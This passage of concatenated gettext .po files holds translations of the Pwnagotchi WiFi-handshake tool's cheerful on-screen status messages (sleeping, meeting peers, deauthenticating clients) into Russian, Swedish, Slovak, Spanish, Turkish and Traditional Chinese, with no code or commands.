#pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "ore" msgid "minutes" msgstr "minute" msgid "seconds" msgstr "secunde" msgid "hour" msgstr "oră" msgid "minute" msgstr "minut" msgid "second" msgstr "secundă" ================================================ FILE: pwnagotchi/locale/ru/LC_MESSAGES/voice.po ================================================ # Pwnagotchi Russian translation. # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR <25989971+adolfaka@users.noreply.github.com>, 2019. # Second author , 2019 msgid "" msgstr "" "Project-Id-Version: Pwnagotchi Russian translation v 0.0.2\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" "%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n" "POT-Creation-Date: \n" "PO-Revision-Date: \n" "Last-Translator: \n" "Language-Team: \n" "MIME-Version: 1.0\n" "Language: ru\n" "X-Generator: Poedit 2.2.4\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: .\n" "X-Poedit-SearchPath-0: voice.po\n" msgid "ZzzzZZzzzzZzzz" msgstr "Хрррр..." msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Привет, я Pwnagotchi! Стартуем!" msgid "New day, new hunt, new pwns!" msgstr "Новый день, новая охота, новые взломы!" msgid "Hack the Planet!" msgstr "Взломай эту Планету!" msgid "AI ready." msgstr "A.I. готов." msgid "The neural network is ready." msgstr "Нейронная сеть готова." msgid "Generating keys, do not turn off ..." msgstr "Генерация ключей, не выключайте..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Эй, канал {channel} свободен! Ваша точка доступа скажет спасибо." msgid "Reading last session logs ..." msgstr "Чтение логов последнего сеанса..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Чтение {lines_so_far} строк журнала..." msgid "I'm bored ..." msgstr "Мне скучно …" msgid "Let's go for a walk!" msgstr "Пойдем прогуляемся!" msgid "This is the best day of my life!" msgstr "Лучший день в моей жизни!" msgid "Shitty day :/" msgstr "Дерьмовый день :/" msgid "I'm extremely bored ..." msgstr "Мне очень скучно …" msgid "I'm very sad ..." msgstr "Мне очень грустно …" msgid "I'm sad" msgstr "Мне грустно" msgid "Leave me alone ..." msgstr "Оставь меня в покое..." msgid "I'm mad at you!" msgstr "Я зол на тебя!" msgid "I'm living the life!" msgstr "Живу полной жизнью!" msgid "I pwn therefore I am." msgstr "Я взламываю, поэтому я существую." msgid "So many networks!!!" msgstr "Так много сетей!!!" msgid "I'm having so much fun!" msgstr "Мне так весело!" msgid "My crime is that of curiosity ..." msgstr "Моё преступление - это любопытство…" #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Привет, {name}! Рад встрече с тобой!" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Цель {name} близко!" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Хэй {name}! Как дела?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Цель {name} рядом!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Хм … до свидания {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} ушла…" #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Упс… {name} исчезла." #, python-brace-format msgid "{name} missed!" msgstr "{name} упустил!" msgid "Missed!" msgstr "Промахнулся!" msgid "Good friends are a blessing!" msgstr "Хорошие друзья - это благословение!" msgid "I love my friends!" msgstr "Я люблю своих друзей!" msgid "Nobody wants to play with me ..." msgstr "Никто не хочет со мной играть ..." msgid "I feel so alone ..." msgstr "Я так одинок…" msgid "Where's everybody?!" msgstr "Где все?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Дремлет {secs}с …" msgid "Zzzzz" msgstr "Хррр..." #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "Хррррр.. ({secs}c)" msgid "Good night." msgstr "Доброй ночи." msgid "Zzz" msgstr "Хрррр" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Ждем {secs}c …" #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Осматриваюсь вокруг ({secs}с)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Эй, {what} давай дружить!" #, python-brace-format msgid "Associating to {what}" msgstr "Связываюсь с {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Йоy {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Просто решил, что {mac} не нужен WiFi! Кхе-кхе)" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Деаутентификация {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Кикаю {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Круто, мы получили {num} новое рукопожатие!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ой, что-то пошло не так … Перезагружаюсь …" #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Кикнул {num} станцию\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Заимел {num} новых друзей\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Получил {num} рукопожатий\n" msgid "Met 1 peer" msgstr "Встретился один знакомый" #, python-brace-format msgid "Met {num} peers" msgstr "Встретились {num} приятелей" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Я взламывал {duration} и кикнул {deauthed} клиентов! Я также встретил " "{associated} новых друзей и съел {handshakes} рукопожатий! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "часов" msgid "hour" msgstr "час" msgid "minutes" msgstr "минут" msgid "minute" msgstr "минуту" ================================================ FILE: pwnagotchi/locale/se/LC_MESSAGES/voice.po ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-03 16:47+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Mike Eriksson \n" "Language-Team: LANGUAGE \n" "Language: swedish\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hej, jag är Pwnagotchi! Startar ..." msgid "New day, new hunt, new pwns!" msgstr "Ny dag, ny jakt, nya pwns!" msgid "Hack the Planet!" msgstr "Hacka planeten!" msgid "AI ready." msgstr "AI klar." msgid "The neural network is ready." msgstr "Det neurala nätverket är klart." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Du, kanal {channel} är ledig! Din AP will gilla detta." msgid "I'm bored ..." msgstr "Jag har det så tråkigt..." msgid "Let's go for a walk!" msgstr "Dags för en promenad!" msgid "This is the best day of my life!" msgstr "Det här är den bästa dagen i mitt liv!" msgid "Shitty day :/" msgstr "Idag suger :/" msgid "I'm extremely bored ..." msgstr "Jag är extremt uttråkad ..." msgid "I'm very sad ..." msgstr "Jag är jätteledsen ..." msgid "I'm sad" msgstr "Jag är ledsen" msgid "I'm living the life!" msgstr "Nu leker livet!" msgid "I pwn therefore I am." msgstr "Jag pwnar därför är jag." msgid "So many networks!!!" msgstr "Så många nätverk!!!" msgid "I'm having so much fun!" msgstr "Fan vad skoj jag har!" msgid "My crime is that of curiosity ..." msgstr "Mitt brott är att vara nyfiken ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Hejsan {name}! Trevligt att träffas {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Enheten {name} är nära! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... farväl {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} är borta ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Hoppsan ... {name} är borta." #, python-brace-format msgid "{name} missed!" msgstr "{name} missade!" msgid "Missed!" msgstr "Bom!" msgid "Nobody wants to play with me ..." msgstr "Ingen vill leka med mig ..." msgid "I feel so alone ..." msgstr "Jag är så ensam ..." msgid "Where's everybody?!" msgstr "Var är alla?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Sover för {secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Väntar {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Tittar omkring mig ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hejsan {what} låt oss vara vänner" #, python-brace-format msgid "Associating to {what}" msgstr "Ansluter till {what}" #, python-brace-format msgid "Yo {what}!" msgstr "" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Jag bestämde just att {mac} inte behöver WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Lysande, vi har {num} ny handskakningar{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Hoppsan, någpt gick fel ... Startar om ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Sparkade {num} stationer\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Har {num} nya vänner\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Har {num} handskakningar\n" msgid "Met 1 peer" msgstr "Mötte 1 jämlike" #, python-brace-format msgid "Met {num} peers" msgstr "Mötte {num} jämlikar" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Jag har pwnat för {duration} och sparkat ut {deauthed} klienter, Jag " "har också träffat {associated} nya vänner och har skakat {handshakes} händer! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "timmar" msgid "hour" msgstr "timme" msgid "minutes" msgstr "minuter" msgid "minute" msgstr "minut" ================================================ FILE: pwnagotchi/locale/sk/LC_MESSAGES/voice.po ================================================ # Slovak language # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # mil1200 , 2019. # # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-8 17:55+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Milan Kyselica \n" "Language-Team: SK\n" "Language: sk\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Ahoj, ja som Pwnagotchi! Začíname ..." msgid "New day, new hunt, new pwns!" msgstr "Nový deň, nový lov, nové pwns!" msgid "Hack the Planet!" msgstr "Hacknime Planétu!" msgid "AI ready." msgstr "AI pripravené." msgid "The neural network is ready." msgstr "Neurónová sieť je pripravená." msgid "Generating keys, do not turn off ..." msgstr "Generujú sa kľúče, nevypínaj ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hej, kanál {channel} je voľný! Váš AP vám poďakuje." msgid "I'm bored ..." msgstr "Nudím sa ..." msgid "Let's go for a walk!" msgstr "Poďme na prechádzku!" msgid "This is the best day of my life!" msgstr "Toto je najlepší deň môjho života!" msgid "Shitty day :/" msgstr "Na hovno deň :/" msgid "I'm extremely bored ..." msgstr "Veľmi sa nudím ..." msgid "I'm very sad ..." msgstr "Som veľmi smutný ..." msgid "I'm sad" msgstr "Som smutný" msgid "I'm living the life!" msgstr "Žijem život!" msgid "I pwn therefore I am." msgstr "I pwn therefore I am." msgid "So many networks!!!" msgstr "Toľko sietí !!!" msgid "I'm having so much fun!" msgstr "Zabávam sa!" msgid "My crime is that of curiosity ..." msgstr "Môj zločin je zvedavosť ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Dobrý deň, {name}! Rád som ťa spoznal." #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Jednotka {name} je blízko!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... zbohom {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} je preč ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Hups ... {name} je preč." #, python-brace-format msgid "{name} missed!" msgstr "{name} nechytené!" msgid "Missed!" msgstr "Vedľa!" msgid "Good friends are a blessing!" msgstr "Dobrí priatelia sú požehnaním!" msgid "I love my friends!" msgstr "Milujem svojich priateľov!" msgid "Nobody wants to play with me ..." msgstr "Nikto sa so mnou nechce hrať ..." msgid "I feel so alone ..." msgstr "Cítim sa tak sám ..." msgid "Where's everybody?!" msgstr "Kde sú všetci ?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Zdriemnem si na {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Dobrú noc." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Čaká sa {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Rozhliadam sa okolo ({secs} s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Ahoj {what} buďme priatelia!" #, python-brace-format msgid "Associating to {what}" msgstr "Spájam sa s {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Rozhodol som sa že {mac} nepotrebuje Wi-Fi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Deautentifikujem {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickujem {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Super, máme {num} nový handshake{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Máte {count} novú správu{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ops, niečo sa pokazilo ... Reštartujem sa ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Kicknutá/ých {num} stanica/íc\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Získaní {num} noví kamaráti\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Získali sme {num} handshake/-y/ov rúk\n" msgid "Met 1 peer" msgstr "Sretli sme 1 rovesníka" #, python-brace-format msgid "Met {num} peers" msgstr "Stretli sme {num} rovesníkov" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Pwnoval som {duration} a kickol som {deauthed} klienta/ov! Tiež som" "stretol {associated} nového/ých kamaráta/ov a zjedol {handshakes} handshake/y!" " #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "hodiny" msgid "minutes" msgstr "minúty" msgid "seconds" msgstr "sekundy" msgid "hour" msgstr "hodina" msgid "minute" msgstr "minúta" msgid "second" msgstr "sekunda" ================================================ FILE: pwnagotchi/locale/spa/LC_MESSAGES/voice.po ================================================ # Interfaz en español para pwnagotchi # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # Angel Hernandez Segura, 2019. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-04 12:57+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Angel Hernandez Segura \n" "Language-Team: Español \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=CHARSET\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hola, Soy Pwnagotchi! Iniciando..." msgid "New day, new hunt, new pwns!" msgstr "Un nuevo dia, nuevos objetivos, nuevos pwns" msgid "Hack the Planet!" msgstr "Hack the Planet!" msgid "AI ready." msgstr "IA lista" msgid "The neural network is ready." msgstr "La red neuronal esta lista" msgid "Generating keys, do not turn off ..." msgstr "Generando llaves, no apagar" #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, canal {channel} esta libre! Tu AP te lo agredecera" msgid "Reading last session logs ..." msgstr "Leyendo logs de la ultima sesion" #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "He leido {lines_so_far} lineas de los logs hasta ahora " msgid "I'm bored ..." msgstr "Estoy aburrido" msgid "Let's go for a walk!" msgstr "Vamos a caminar!" msgid "This is the best day of my life!" msgstr "Este es el mejor dia de mi vida" msgid "Shitty day :/" msgstr "Dia de mierda :/" msgid "I'm extremely bored ..." msgstr "Estoy extremadamente aburrido ..." msgid "I'm very sad ..." msgstr "Estoy mut triste" msgid "I'm sad" msgstr "Estoy triste" msgid "Leave me alone ..." msgstr "Dejame solo ..." msgid "I'm mad at you!" msgstr "Estoy enojado contigo!" msgid "I'm living the life!" msgstr "Estoy disfrutando la vida!" msgid "I pwn therefore I am." msgstr "Yo pwn, por lo tanto existo" msgid "So many networks!!!" msgstr "Tantas redes!!!" msgid "I'm having so much fun!" msgstr "Me estoy divirtiendo mucho!" msgid "My crime is that of curiosity ..." msgstr "Mi crimen es la curiosidad ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hola {name}! Mucho gusto." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Yo {name}! Que hay?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hey {name} como te va?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Unit {name} esta cerca!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... adios {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} se fue ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoops ... {name} se fue" #, python-brace-format msgid "{name} missed!" msgstr "{name} se ha perdido!" msgid "Missed!" msgstr "Perdido!" msgid "Good friends are a blessing!" msgstr "Los buenos amigos son una bendicion" msgid "I love my friends!" msgstr "Amo a mis amigos!" msgid "Nobody wants to play with me ..." msgstr "Nadie quiere jugar conmigo ..." msgid "I feel so alone ..." msgstr "Me siento muy solo ..." msgid "Where's everybody?!" msgstr "Donde estan todos?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Tomando una siesta por {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s) " msgid "Good night." msgstr "Buenas noches." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Esperando por {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Mirando alrededor ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what} vamos a ser amigos!" #, python-brace-format msgid "Associating to {what}" msgstr "Asociandose a {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Acabo de decidir que {mac} no necesita WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "De-autenticando {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Vetando {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Bien, obtuvimos {num} nuevos handshake{plural}!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Tienes {count} nuevos mensajes{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Oops, algo salio mal ... Reiniciando ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Bloquee {num} staciones\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Hice {num} nuevos amigos\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Obtuve {num} handshakes\n" msgid "Met 1 peer" msgstr "Conoci a 1 unidad" #, python-brace-format msgid "Met {num} peers" msgstr "conoci {num} unidades" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "He estado hackeando por {duration} y de-autenticando {deauthed} " "clientes! Tambien conoci {associated} nuevos amigos y comi {handshakes} " "handshakes! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "horas" msgid "minutes" msgstr "minutos" msgid "seconds" msgstr "segundos" msgid "hour" msgstr "hora" msgid "minute" msgstr "minuto" msgid "second" msgstr "segundo" ================================================ FILE: pwnagotchi/locale/tr/LC_MESSAGES/voice.po ================================================ # Pwnagotchi Turkish translation. # Copyright (C) 2021 # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , 2021. # msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-29 21:50+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Arda Barış Tonç \n" "Language-Team: \n" "Language: Turkish\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZzzZzZZzzzzZ" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Merhaba, ben Pwnagotchi! Başlatılıyorum ..." msgid "New day, new hunt, new pwns!" msgstr "Yeni bir gün, yeni bir av, yeni pwn'lar!" msgid "Hack the Planet!" msgstr "Dünyayı Hackle!" msgid "AI ready." msgstr "Yapay zeka hazır." msgid "The neural network is ready." msgstr "Nöral ağ hazır." msgid "Generating keys, do not turn off ..." msgstr "Anahatarlar oluşturuluyor, lütfen kapatmayın ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, {channel} kanalı boş! AP'niz teşekkür edecek." msgid "Reading last session logs ..." msgstr "Son oturum kayıtları okunuyor ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Şimdiye kadar {lines_so_far} kayıt satırı okundu ..." msgid "I'm bored ..." msgstr "Sıkıldım ..." msgid "Let's go for a walk!" msgstr "Yürüyüşe çıkalım!" msgid "This is the best day of my life!" msgstr "Bugün hayatımın en iyi günü!" msgid "Shitty day :/" msgstr "Bok gibi bir gün :/" msgid "I'm extremely bored ..." msgstr "Çook sıkıldım ..." msgid "I'm very sad ..." msgstr "Çok mutsuzum ..." msgid "I'm sad" msgstr "Mutsuzum" msgid "Leave me alone ..." msgstr "Beni yalnız bırak ..." msgid "I'm mad at you!" msgstr "Sana kızgınım!" msgid "I'm living the life!" msgstr "Bu hayatı yaşıyorum!" msgid "I pwn therefore I am." msgstr "Ben, pwn'ladığım için benim." msgid "So many networks!!!" msgstr "Çok fazla ağ var!!!" msgid "I'm having so much fun!" msgstr "Çok eğleniyorum!" msgid "My crime is that of curiosity ..." msgstr "Tek suçum merak etmek ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Merhaba {name}! Tanıştığıma memnun oldum." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "{name}, kanka! Naber?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Nasılsın {name}?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "{name} birimi yakında!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "ııı ... görüşürüz {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} gitti." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Hoppala ... {name} gitti." #, python-brace-format msgid "{name} missed!" msgstr "{name}'i kaçırdık ya!" msgid "Missed!" msgstr "Kaçırdık!" msgid "Good friends are a blessing!" msgstr "İyi arkadaşlar nimettir!" msgid "I love my friends!" msgstr "Arkadaşlarımı seviyorum!" msgid "Nobody wants to play with me ..." msgstr "Hiç kimse benimle birlikte oynamak istemiyor ..." msgid "I feel so alone ..." msgstr "Çok yalnız hissediyorum ..." msgid "Where's everybody?!" msgstr "Herkes nerede!?" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "{secs}dir kestiriyorum ..." msgid "Zzzzz" msgstr "ZzzzZz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzZ ({secs})" msgid "Good night." msgstr "İyi geceler." msgid "Zzz" msgstr "ZzZ" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "{secs}dir bekleniyor ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Etrafa bakıyorum ({secs})" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Arkadaş olalım {what}!" #, python-brace-format msgid "Associating to {what}" msgstr "{what} ile tanışıyoruz" #, python-brace-format msgid "Yo {what}!" msgstr "Hey {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Sanırım {mac}'in WiFi'a ihtiyacı yok!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "{mac} ağdan çıkarılıyor" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "{mac} atılıp yasaklanıyor!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Güzel, yeni {num} el sıkıştık!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "{count} Tane yeni mesajınız var!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Haydaa, bir şeyler ters gitti ... Yeniden başlatılıyor ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num} İstasyon atıldı\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num} Yeni arkadaş edindim\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "{num} El sıkıştım\n" msgid "Met 1 peer" msgstr "1 Kişiyle tanıştım" #, python-brace-format msgid "Met {num} peers" msgstr "{num} Kişiyle tanıştım" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "{duration}'dır pwn'lıyorum ve {deauthed} kişiyi attım. Hem de {associated}" "yeni kişiyle tanıştım ve {handshakes} el sıkıştım! #pwnagotchi " "#pwnlog #pwnyaşam #dünyayıhackle #skynet" msgid "hours" msgstr "saat" msgid "minutes" msgstr "dakika" msgid "seconds" msgstr "saniye" msgid "hour" msgstr "saat" msgid "minute" msgstr "dakika" msgid "second" msgstr "saniye" #, python-brace-format msgid "Uploading data to {to} ..." msgstr "{to}'ye veri yükleniyor ..." ================================================ FILE: pwnagotchi/locale/tw/LC_MESSAGES/voice.po ================================================ # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , 2020. # 有很多翻譯不到味,如果有繁體愛好者,歡迎之後大家一起翻譯! msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-10-21 15:56+0200\n" "PO-Revision-Date: 2020-10-22 10:00+0008\n" "Last-Translator: ShaqKSmith \n" "Language-Team: LANGUAGE \n" "Language: traditional chinese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "HI!我是Pwnagotchi!\n程式啟動..." msgid "New day, new hunt, new pwns!" msgstr "新的一天!\n新的狩獵!新的入侵!" msgid "Hack the Planet!" msgstr "我要駭入\n地球的所有人!" msgid "AI ready." msgstr "人工智慧已啟動." msgid "The neural network is ready." msgstr "神經網路已啟動." msgid "Generating keys, do not turn off ..." msgstr "產生金鑰中,\n請勿關閉..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "嘿,{channel}很順暢!\n你的WIFI會感謝你的." msgid "I'm bored ..." msgstr "我好無聊..." msgid "Let's go for a walk!" msgstr "我們出去走走吧!" msgid "This is the best day of my life!" msgstr "這是我生命中最美好的一天!" msgid "Shitty day :/" msgstr "糟糕的一天 :/" msgid "I'm extremely bored ..." msgstr "我超無聊的..." msgid "I'm very sad ..." msgstr "我好難過..." msgid "I'm sad" msgstr "傷心。" msgid "I'm living the life!" msgstr "真是充實的一生!" msgid "I pwn therefore I am." msgstr "我駭故我在." msgid "So many networks!!!" msgstr "好多網路啊!!!" msgid "I'm having so much fun!" msgstr "我玩的超級開心!" msgid "My crime is that of curiosity ..." msgstr "我的缺點就是\n太好奇了..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hello{name}!\n很高興認識你." #, python-brace-format msgid "Unit {name} is nearby!" msgstr "{name}\n就在附近!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "啊 ... \n拜拜{name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name}\n不見了 